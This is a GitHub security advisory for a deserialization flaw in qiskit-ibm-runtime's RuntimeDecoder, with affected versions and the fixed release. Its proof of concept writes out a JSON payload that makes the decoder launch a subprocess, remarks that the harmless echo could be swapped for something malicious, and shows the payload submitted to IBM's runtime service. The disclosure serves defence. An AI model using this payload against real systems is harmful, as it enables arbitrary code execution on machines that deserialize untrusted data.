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Security Advisories: GSA_kwCzR0hTQS14NHg1LWp2M3gtOWM3bc4AA6LF

`qiskit_ibm_runtime.RuntimeDecoder` can execute arbitrary code

Summary

deserializing json data using qiskit_ibm_runtime.RuntimeDecoder can be made to execute arbitrary code given a correctly formatted input string

Details

RuntimeDecoder is supposed to be able to deserialize JSON strings containing various special types encoded via RuntimeEncoder. However, one can structure a malicious payload to cause the decoder to spawn a subprocess and execute arbitrary code, exploiting this block of code: https://github.com/Qiskit/qiskit-ibm-runtime/blob/16e90f475e78a9d2ae77daa139ef750cfa84ca82/qiskit_ibm_runtime/utils/json.py#L156-L159

PoC

malicious_data = {
    "__type__": "settings",
    "__module__": "subprocess",
    "__class__": "Popen",
    "__value__": {
        "args": ["echo", "hi"]
    },
}
json_str = json.dumps(malicious_data)

_ = json.loads(json_str, cls=qiskit_ibm_runtime.RuntimeDecoder)  # prints "hi" to the terminal

(where obviously "echo hi" can be replaced with something much more malicious)

notably the following also makes it through the runtime API, with malicious_data serialized client-side via RuntimeEncoder (and therefore presumably deserialized server-side via RuntimeDecoder?)

service = qiskit_ibm_runtime(<ibm_cloud_credentials>)
job = service.run("qasm3-runner", malicious_data)
print(job.status())  # prints "JobStatus.QUEUED"

Impact

i don't know if qiskit_ibm_runtime.RuntimeDecoder is used server-side so this may or may not be a serious vulnerability on your end (however it's definitely a security hole for anyone using the library to deserialize third-party data)

Permalink: https://github.com/advisories/GHSA-x4x5-jv3x-9c7m
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14NHg1LWp2M3gtOWM3bc4AA6LF
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: 29 days ago
Updated: 28 days ago


CVSS Score: 5.3
CVSS vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Identifiers: GHSA-x4x5-jv3x-9c7m, CVE-2024-29032
References: Repository: https://github.com/Qiskit/qiskit-ibm-runtime
Blast Radius: 5.9

Affected Packages

pypi:qiskit-ibm-runtime
Dependent packages: 11
Dependent repositories: 13
Downloads: 134,179 last month
Affected Version Ranges: >= 0.1.0, < 0.21.2
Fixed in: 0.21.2
All affected versions: 0.1.0, 0.1.1, 0.2.0, 0.3.0, 0.4.0, 0.5.0, 0.6.0, 0.6.1, 0.6.2, 0.7.0, 0.8.0, 0.9.0, 0.9.1, 0.9.2, 0.9.3, 0.9.4, 0.10.0, 0.11.0, 0.11.1, 0.11.2, 0.11.3, 0.12.0, 0.12.1, 0.12.2, 0.13.0, 0.14.0, 0.15.0, 0.15.1, 0.16.0, 0.16.1, 0.17.0, 0.18.0, 0.19.0, 0.19.1, 0.20.0, 0.21.0, 0.21.1
All unaffected versions: 0.21.2, 0.22.0, 0.23.0